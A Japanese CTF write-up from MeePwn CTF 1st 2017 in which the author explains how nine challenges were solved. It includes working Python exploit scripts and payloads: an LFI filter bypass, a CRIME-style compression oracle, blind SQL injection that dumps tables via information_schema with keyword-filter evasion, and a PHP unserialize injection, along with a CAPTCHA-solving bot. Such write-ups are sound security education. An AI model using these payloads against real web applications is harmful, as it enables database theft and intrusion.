チーム Harekaze で MeePwn CTF 1st 2017 に参加しました。最終的にチームで 2049 点を獲得し、順位は得点 542 チーム中 14 位でした。うち、私は 9 問を解いて 2048 点を入れました。
以下、解いた問題の write-up です。
与えられた URL にアクセスすると、任意の文字列の暗号化と復号ができるサービスが表示されました。
暗号化ができるページのパスは /index.php?page=encrypt
でした。encrypt.php
にアクセスすると /index.php?page=encrypt
と一部が同じ内容でした。LFI ができそうです。
/index.php?page=php://filter/convert.base64-encode/resource=encrypt
にアクセスしてみたものの、I hate "php" onii-chan... baka
と怒られてしまいました。
php
を pHp
に変えてみたところ、今度は base64 エンコードされた encrypt.php
のソースが表示されました。
<?php
include('./secret.php');
if(empty($_SESSION["form_token"]))
{
$gen_token=md5(uniqid(rand(), true));
$_SESSION["form_token"] = $gen_token;
//header("Refresh:0");
}
function tsu_super_encrypt0($c)
{
return gzcompress($c,-1);
}
function tsu_super_encrypt1($c,$key)
{
$l=strlen($key);
$string="";
for($i=0;$i<strlen($c);$i++)
{
$string[$i]=chr((ord($c[$i]) | ord($key[$i%$l])) & (256+~(ord($c[$i]) & ord($key[$i%$l])))%256);
}
return implode("",$string);
}
function tsu_super_encrypt2($c)
{
$l=strlen($c);
$string="";
for($i=0;$i<$l;$i++)
{
$string[$i]=chr((ord($c[$i])+$i)%256);
}
return implode("",$string);
}
function tsu_super_encrypt3($c)
{
$l=strlen($c);
$k=$l%8;
$string="";
for($i=0;$i<$l;$i++)
{
$string[$i]=chr(((ord($c[$i])<<$k)|ord($c[$i])>>(8-$k))&0xff);
}
return implode("",$string);
}
?>
<html>
<?php
if(isset($_POST["enc"]) && strlen($_POST["enc"]) && isset($_POST["token"]))
{
if($_SESSION["form_token"]===$_POST["token"])
{
unset($_SESSION['form_token']);
$gen_token=md5(uniqid(rand(), true));
$_SESSION["form_token"] = $gen_token;
$enc=$_POST["enc"];
$flag=$secret_salt;
$query="secret=".$secret_salt."string=".$enc;
$encrypted0=tsu_super_encrypt0($query);
$encrypted1=tsu_super_encrypt1($encrypted0,$key);
$encrypted2=tsu_super_encrypt2($encrypted1);
$encrypted3=tsu_super_encrypt3($encrypted2); //I'm too sleepy, i think i should stop here..., oyasuminasai...mm..mm..zz..
$final=base64_encode($encrypted3);
echo '<pre><font color="red">Hey onii-chan...Here is your crypt...</font><font color="blue">'.$final.'</font></pre>';
}
}
?>
<font color="red">Please give me a message...onii-chan</font>
<form action="?page=encrypt" method="POST" id="usrform">
<center>
<textarea rows="6" placeholder="Iâm here for whenever you need me" class="form-control" name="enc" form="usrform"></textarea>
<input type="hidden" name="token" value=<?php echo $_SESSION["form_token"];?> />
<input type="submit" id="contact-submit" class="btn btn-default btn-send" value="Encrypt">
</center>
</form>
<br>
</html>
$flag=$secret_salt
とあるので $secret_salt
を手に入れればよさそうです。
$secret_salt
や $key
の値が secret.php
から得られないか考えたものの、index.php
には以下のような処理があるためダメそうです。
...
if(isset($_GET["page"]) && !empty($_GET["page"]))
{
$page=$_GET["page"];
if(strpos(strtolower($page), 'secret') !== false)
{
die("<center><img src='./images/wrongway.jpg'/></center>");
}
else if(strpos($page, 'php') !== false)
{
die("<center><img src='./images/baka.gif'/></center>");
}
else
{
include($page.'.php');
}
}
...
encrypt.php
を見ていきます。入力した文字列は $query="secret=".$secret_salt."string=".$enc
でフラグと結合された後、tsu_super_encrypt0
で gzcompress
を使って圧縮されています。それから tsu_super_encrypt1
で $key
と xor、tsu_super_encrypt2
で chr((ord($c[$i]) + $i) % 256)
、tsu_super_encrypt3
で strlen($c) % 8
だけ左にローテートという順で暗号化されています。
直接復号するのは厳しそうですが、最初に gzcompress
で圧縮されていること、フラグの形式が MeePwnCTF{...}
であることを利用して CRIME の要領でフラグを手に入れることならできそうです。
import re
import requests
def find_token(s):
return re.findall(r'name="token" value=([0-9a-f]{32}) /', s)[0]
def get_token():
r = requests.get(url + '?page=encrypt', cookies={'PHPSESSID': session_id})
return find_token(r.content)
def encrypt(s, token):
r = requests.post(url + '?page=encrypt', cookies={'PHPSESSID': session_id}, data={
'enc': s,
'token': token
})
return re.findall(r'<font color="blue">(.+)</font>', r.content)[0], find_token(r.content)
if __name__ == '__main__':
url = 'http://128.199.190.23:8002/'
session_id = 'xxxxxxxxxxxxxxxxxxxxxxxxxx'
table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_{}'
res = 'MeePwnCTF{'
token = get_token()
while True:
a = []
for c in table:
r, token = encrypt(res + c, token)
r = r.decode('base64')
a.append((len(r), c))
a.sort(key=lambda x: x[0])
res += a[0][1]
print res
$ python2 solve.py
MeePwnCTF{T
MeePwnCTF{Ti
MeePwnCTF{Tim
MeePwnCTF{Tim3
MeePwnCTF{Tim3_
MeePwnCTF{Tim3_t
MeePwnCTF{Tim3_t0
MeePwnCTF{Tim3_t0w
MeePwnCTF{Tim3_t0w4
MeePwnCTF{Tim3_t0w4t
MeePwnCTF{Tim3_t0w4tc
MeePwnCTF{Tim3_t0w4tch
MeePwnCTF{Tim3_t0w4tch_
MeePwnCTF{Tim3_t0w4tch_m
MeePwnCTF{Tim3_t0w4tch_mY
MeePwnCTF{Tim3_t0w4tch_mY_
MeePwnCTF{Tim3_t0w4tch_mY_0
MeePwnCTF{Tim3_t0w4tch_mY_0n
MeePwnCTF{Tim3_t0w4tch_mY_0ni
MeePwnCTF{Tim3_t0w4tch_mY_0nii
MeePwnCTF{Tim3_t0w4tch_mY_0niic
MeePwnCTF{Tim3_t0w4tch_mY_0niich
MeePwnCTF{Tim3_t0w4tch_mY_0niicha
MeePwnCTF{Tim3_t0w4tch_mY_0niichan
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_C
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CS
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_w
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_wi
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_s
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_so
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_som
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3c
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cR
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cRy
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cRyp
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cRypt
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cRypti
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cRypti0
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cRypti0n
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cRypti0n}
MeePwnCTF{Tim3_t0w4tch_mY_0niichan_CSC_win_somE_D3cRypti0n}
与えられた URL にアクセスすると、ログイン用のユーザ名とパスワード、ログイン用とは別にもう 1 つユーザ名 (name=buyflag
) が入力できるフォームが表示されました。
ソースを見てみると以下のようにユーザ名とパスワードがコメントで書かれていました。
<!-- Here is some gift 4 u. GLHF -->
<!-- ducnt/__testtest__ -->
<!-- guest/__EG-Fangay__ -->
<!-- test/__test__ -->
<!-- eesama/hoho@hihi -->
<!-- fightme/123 -->
<!-- sumail/thebest -->
<!-- messi/ronaldo -->
これでログインでき、所持金とフラグの購入に必要なお金が表示されました。が、どのユーザもフラグを買うにはお金が足りないようです。
何か手がかりが得られないか試しに m—/webfuck を回してみたところ、index.php.bak
というファイルが見つかり index.php
のソースを得ることができました。
<?php
$servername = "there is no place like home dude!!!";
$username = "XXXXXXXXXXXXX";
$password = "XXXXXXXXXXXXX";
$dbname = "flagshop";
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
if(isset($_POST["username"]) && !empty($_POST["username"]) && isset($_POST["password"]) && !empty($_POST["password"]))
{
$username = mysqli_real_escape_string($conn,$_POST['username']);
$password = mysqli_real_escape_string($conn,$_POST['password']);
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password' limit 1";
$result = mysqli_query($conn, $sql);
if(mysqli_num_rows($result) == 0)
echo "<span style='color: red;'/><center><h1><tr>Nothing is easy. Go away dude!!!!</h1></center></style></span>";
else{
$sql1 = "SELECT * FROM buyflag WHERE username='admin' limit 1";
$check1 = mysqli_fetch_array(mysqli_query($conn, $sql1));
echo "<tr><center><strong><td><font color='yellow' size=8 >Need " . $check1["value"] . " gold to buy flag dude!!!</font></td>";
echo "<tr><center><strong><td><font color=#ff3300s size=8 >==========================</font></td>";
$sql2 = "SELECT * FROM buyflag WHERE username='$username' limit 1";
$result2 = mysqli_fetch_array(mysqli_query($conn, $sql2));
echo "<tr><center><strong><td><font color='red' size=8 >Hello: " . $result2["username"] . "</font></td>";
echo "<tr><center><strong><td><font color='red' size=8 >You have: " . $result2["value"] . " gold</font></td>";
if(isset($_POST['buyflag']) && !empty($_POST['buyflag']))
{
$buyflag=$_POST["buyflag"];
$buyflag=preg_replace('/drop|sleep|benchmark|load|substr|substring|strcmp|union|and|offset|mid|binary|regexp|match|ord|right|locate|left|rpad|length|hex|write|join|=|-|#| |floor|=/i','~nothingisezdude~',strtolower($buyflag));
$sql3 = mysqli_query($conn,"UPDATE buyflag SET value=value+1 WHERE username='admin'");
$sql4 = mysqli_query($conn,"UPDATE buyflag SET value=value+1 WHERE username='$buyflag'");
}
}
}
mysqli_close($conn);
?>
name=buyflag
なユーザ名の入力欄は、どうやら入力したユーザと admin の所持金を 1 増やす機能のためのものだったようです。
この入力欄を使って UPDATE buyflag SET value=value+1 WHERE username='$buyflag'
の部分で SQLi ができるようですが、union
も join
もできず、sleep
も benchmark
もできずなかなかつらそうです。
Blind SQLi で攻めていくとして、どのようにして 1 ビットの情報が手に入れられるか考えます。buyflag
に ' or 'A' < 'B
が入ると全ユーザの所持金が 1 増え、' or 'A' > 'B
の場合には何も変化がありません。これを利用して、ユーザの所持金が増えたかどうかで情報を手に入れましょう。
フィルターを回避する方法を 1 つずつ考えます。
(半角スペース) は \t
(タブ) で代替できます。結果は ASCII の範囲内でしょうから、ord
は ascii
で代替できます。substr
は lpad(reverse(lpad(string, index, '')), 1, '')
で代替できます。これで大体はなんとかなるでしょう。
では、まず version()
の結果が得られるか試してみましょう。
import re
import requests
def find_info(s):
return re.findall(r"<font color='red' size=8\s*>(.+?)</font>", s)
def get_info():
r = requests.post(url, data={
'username': user,
'password': password
})
return find_info(r.content)
def query(s):
r = requests.post(url, data={
'username': user,
'password': password,
'buyflag': s.replace(' ', '\t')
})
return find_info(r.content), get_info()
def check(r):
return r[0][1] != r[1][1]
if __name__ == '__main__':
url = 'http://128.199.121.135/index.php'
user, password = 'eesama', 'hoho@hihi'
res = ''
i = 1
while True:
c = 0
for b in range(7):
r = check(query("' or (select ascii(lpad(reverse(lpad(version(),{},'')),1,'')) & {}) or 'A' < 'A".format(i, 1 << b)))
if r: c |= 1 << b
res += chr(c)
i += 1
print repr(res)
これでバージョンは 5.7.18-0ubuntu0.16.04.1
と分かりました。
"' or (select ascii(lpad(reverse(lpad(group_concat(table_name),{},'')),1,'')) & {} from information_schema.tables where table_schema like database()) or 'A' < 'A"
に変えると buyflag,flagflag7847560c748814fd3070e9149a9578bd,users
の 3 つのテーブルが存在することが分かりました。
"' or (select ascii(lpad(reverse(lpad(group_concat(column_name),{},'')),1,'')) & {} from information_schema.columns where table_name like 'flag%') or 'A' < 'A"
に変えると flagflag7847560c748814fd3070e9149a9578bd
は flag
というテーブルを持つとわかりました。
あとは "' or (select ascii(lpad(reverse(lpad(flag,{},'')),1,'')) & {} from flagflag7847560c748814fd3070e9149a9578bd) or 'A' < 'A"
に変えるとフラグが得られました。
MeePwnCTF{all_the_roads_lead_to_rome@31337}
与えられた URL にアクセスすると、6 つの数を入力してコードを得るフォームと、発行されたコードを入力して当選したかどうか判定してくれるフォームが表示されました。
ソースを見ると <!-- GET is_debug=1 -->
というコメントがありました。
/?is_debug=1
にアクセスすると以下のようにソースが表示されました。
...
<?php
class Object
{
var $jackpot;
var $enter;
}
?>
<?php
include('secret.php');
if(isset($_GET['input']))
{
$obj = unserialize(base64_decode($_GET['input']));
if($obj)
{
$obj->jackpot = rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99);
if($obj->enter === $obj->jackpot)
{
echo "<center><strong><font color='white'>CONGRATULATION! You Won JACKPOT PriZe !!! </font></strong></center>". "<br><center><strong><font color='white' size='20'>".$obj->jackpot."</font></strong></center>";
echo "<br><center><strong><font color='green' size='25'>".$flag."</font></strong></center><br>";
echo "<center><img src='http://www.relatably.com/m/img/cross-memes/5378589.jpg' /></center>";
}
else
{
echo "<br><br><center><strong><font color='white'>Wrong! True Six Numbers Are: </font></strong></center>". "<br><center><strong><font color='white' size='25'>".$obj->jackpot."</font></strong></center><br>";
}
}
else
{
echo "<center><strong><font color='white'>- Something wrong, do not hack us please! -</font></strong></center>";
}
}
else
{
echo "";
}
?>
<center>
<br><h2><font color='yellow' size=8>-- TSU</font><font color='red' size=8>LOTT --</font></h2>
<p><p><font color='white'>Input your code to win jackpot!</font><p>
<form>
<input type="text" name="input" /><p><p>
<button type="submit" name="btn-submit" value="go">send</button>
</form>
</center>
<?php
if (isset($_GET['gen_code']) && !empty($_GET['gen_code']))
{
$temp = new Object;
$temp->enter=$_GET['gen_code'];
$code=base64_encode(serialize($temp));
echo '<center><font color=\'white\'>Here is your code, please use it to Lott: <strong>'.$code.'</strong></font></center>';
}
?>
...
当選の判定処理だけを抜き出してみます。
if(isset($_GET['input']))
{
$obj = unserialize(base64_decode($_GET['input']));
if($obj)
{
$obj->jackpot = rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99);
if($obj->enter === $obj->jackpot)
{
echo "<center><strong><font color='white'>CONGRATULATION! You Won JACKPOT PriZe !!! </font></strong></center>". "<br><center><strong><font color='white' size='20'>".$obj->jackpot."</font></strong></center>";
echo "<br><center><strong><font color='green' size='25'>".$flag."</font></strong></center><br>";
echo "<center><img src='http://www.relatably.com/m/img/cross-memes/5378589.jpg' /></center>";
}
...
}
}
入力した値を base64 デコードして直接 unserialize に渡しています。PHP Object Injection ができそうです。
YjoxOw
(serialize(true)
) を入力するとフラグが得られました。
MeePwnCTF{__OMG!!!__Y0u_Are_Milli0naire_N0ww!!___}
与えられた URL にアクセスすると、以下のようなソースコードが表示されました。
<title>Br0kenMySQL</title><h1><pre>
<p style='color:Red'>Br0kenMySQL</p>
<?php
if($_GET['debug']=='🕵') die(highlight_file(__FILE__));
require 'config.php';
$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);
if (!$link) {
die('Could not connect: ' . mysql_error());
}
if (!mysqli_select_db($link,MYSQL_USER)) {
die('Could not select database: ' . mysql_error());
}
$id = $_GET['id'];
if(preg_match('#sleep|benchmark|floor|rand|count#is',$id))
die('Don\'t hurt me :-(');
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'guest'){
$ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
if(preg_match('#sleep|benchmark|floor|rand|count#is',$ip))
die('Don\'t hurt me :-(');
var_dump($ip);
if(!empty($ip))
mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'admin'){
echo "What ???????\nLogin as guest&admin at the same time ?\nSeems our code is broken, here is your bounty\n";
die(FLAG);
}
echo "Nothing here";
} else {
echo "Hello ".$username;
}
?>
</h1>
</pre>
"SELECT username FROM users WHERE id = ". $id
の結果が guest
ならもう一度このクエリを実行し、その結果が admin
ならフラグを表示するようです。
2 度目のユーザ名のチェックの前に IP アドレスを logs
に記録しているので、これを利用して X-Forwarded-For
にランダムな値を入れて、logs
に存在するかどうかで id
を変えるようにしてみます。
import random
import requests
x = str(random.random())
print requests.get('http://139.59.239.133/?id=if((select 1 from logs where ip = "{}"), 1, 2)'.format(x), headers={
'X-Forwarded-For': x
}).content
MeePwnCTF{_b4by_tr1ck_fixed}
Br0kenMySQL とほとんど同じですが、フィルターに select|from|\(|\)
が追加されました。
変数に何か使えるものはないか探してみると、以下のような情報が得られました。
root@f0234be6b01e:/# mysql -u root -p -h $MYSQL_PORT_3306_TCP_ADDR -e "show variables" > a.txt
Enter password:
root@f0234be6b01e:/# mysql -u root -p -h $MYSQL_PORT_3306_TCP_ADDR -e "show variables" > b.txt
Enter password:
root@f0234be6b01e:/# diff a.txt b.txt
387c387
< pseudo_thread_id 9
---
> pseudo_thread_id 10
491c491
< timestamp 1500173439.524841
---
> timestamp 1500173443.255130
@@timestamp
が使えそうです。if
が使えなくなってしまったので、case
で代替しましょう。
import requests
import time
import urllib
while True:
print requests.get('http://139.59.239.133/v2/?id=' + urllib.quote('case @@timestamp * 100 % 100 & 1 when 1 then 1 else 2 end')).content
time.sleep(.1)
これでフラグが得られました。
MeePwnCTF{_I_g1ve__uPPPPPPPP}
Br0kenMySQL v2 でフラグと一緒に得られた URL にアクセスすると、Br0kenMySQL v2 のフィルターに time|date|sec|day
が増えたソースコードが表示されました。
@x := 2
みたいな感じでユーザ定義変数を使いましょう。
import requests
import urllib
print requests.get('http://139.59.239.133/c541c6ed5e28b8762c4383a8238e6f5632cc7df6da8ce9db7a1aa706d1e5c387/?id=' + urllib.quote('case @x when 2 then 1 else @x := 2 end')).content
これでフラグが得られました。
MeePwnCTF{_I_g1ve__uPPPPPPPP_see_you_next_Year}
nub_cryptosystem.py、pubkey.txt、enc.txt が与えられました。
Merkle-Hellman ナップサック暗号のようです。過去同様の問題が出題された際に書かれた write-up のスクリプトで解けました。
MeePwnCTF{Merkleee-Hellmannn!}
以下のような CAPTCHA が表示されるので答える、というのを何度も繰り返す問題でした。
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@-----@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@--- ---@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ -----@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@- -@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@--@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@- -@@@@@@@@@@@@@@@@@---------@@@@@--- -@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@- -@@@@@@@@@@@@@@@@@@ - - --@@@-- ----@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@- ---- ----- ----@@@--@@---@@@@---@- -@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@- ------@- -------@@@--@@@@@@@@@@@@@- -@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@---@@@@@@---@@@@@@@@@--@@@@@@@@@@@@@- @@@@---@@@@--@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@--@@@@@@@---@@@@@@@@@---@@@--@@@@@@@- @@@@- -@@@- @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@--@@@@@@@---@@@@@@@@@- --@@@@@@- @@@@- --@@@- -@@@@@@@@@@@@@@@@
@@@@@@@@@@@@--------@@--------@@@--------@@@@@@@- -@@@- ---@@- -@@@@@@@@@@@@@@@@
@@@@@@@@@@@@- ----@@- ---- -@@@--@@@@@@@@@@@@@- @@@@@ ---@@---@@@@@@@@@@@@@@@@
@@@@@@@@@@@@-----@@@@@---@@@--@@@- @@@@@@@@@@@@@- @@@@@--@--@@--@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@--@@@@@@@@@--@@@@@@@@@@@@@- @@@@@- @@-@@- @@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@--@@@@@@@@@- -------@@@@@@- -@@@@- -@--@- -@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@- -----@@@@-- -----@@@@@@--@@@@@- -@@--- -@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@- ---@@@@@@@@@@@@@@@@@@@@@@@@---@@--- -@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@---------@@@@@@@@@@@@@@@@@@@@@@@@---@@@----@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@--@@@- -@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@--@@@@- --@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-@@@@@---@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
tesseract と人力 OCR で頑張りましょう。
import hashlib
import subprocess
from pwn import *
from PIL import Image
def captcha_to_image(s):
w, h = 80, 30
im = Image.new('RGB', (w, h))
pix = im.load()
for y, line in enumerate(s):
for x, c in enumerate(line):
if c == '@':
pix[x, y] = (255, 255, 255)
else:
pix[x, y] = (0, 0, 0)
return im
def image_to_text(f):
return subprocess.check_output(['tesseract', f, 'stdout', '-c', 'tessedit_char_whitelist=MEPWNCTF', '-psm', '6']).strip().replace(' ', '')
d = {
'2bcb3234311ac086a82864174546572f': 'MWWMN',
'66bbbf25bd03a12ba5c6a2fc07accc65': 'CMNWE',
'e5767911716e8be2c2efab74dc0a678b': 'FNFMF',
...
'e73eec6e133586613dc602551a36ae22': 'NWCMW',
'724e3445175e1f6564c8cb5efd524d69': 'TNPFC',
'781d3cff6a66ae36ca4bac16ae0f11be': 'MNMMT'
}
if __name__ == '__main__':
s = remote('128.199.113.197', 1111)
s.recvuntil('Are you ready? [Y/n]')
s.sendline('Y')
for i in range(100):
t = s.recvuntil('Captcha')
log.info(t)
s.recvuntil(' =')
captcha_to_image(t.splitlines()[:-1]).save('tmp.png')
res = image_to_text('tmp.png')
h = hashlib.md5(t).hexdigest()
if h in d:
log.info('found!')
res = d[h]
if len(res) != 5 and i > 80:
res = raw_input('> ').upper()
log.info('%s: %s' % (h, res))
s.sendline(res)
s.interactive()
MeePwnCTF{I_am_ju5t_a_little_Pikalong}
フィードバックを送って、問題文に書かれたフラグを送信するとポイントが得られました。
MeePwnCTF{From MeePwn with love}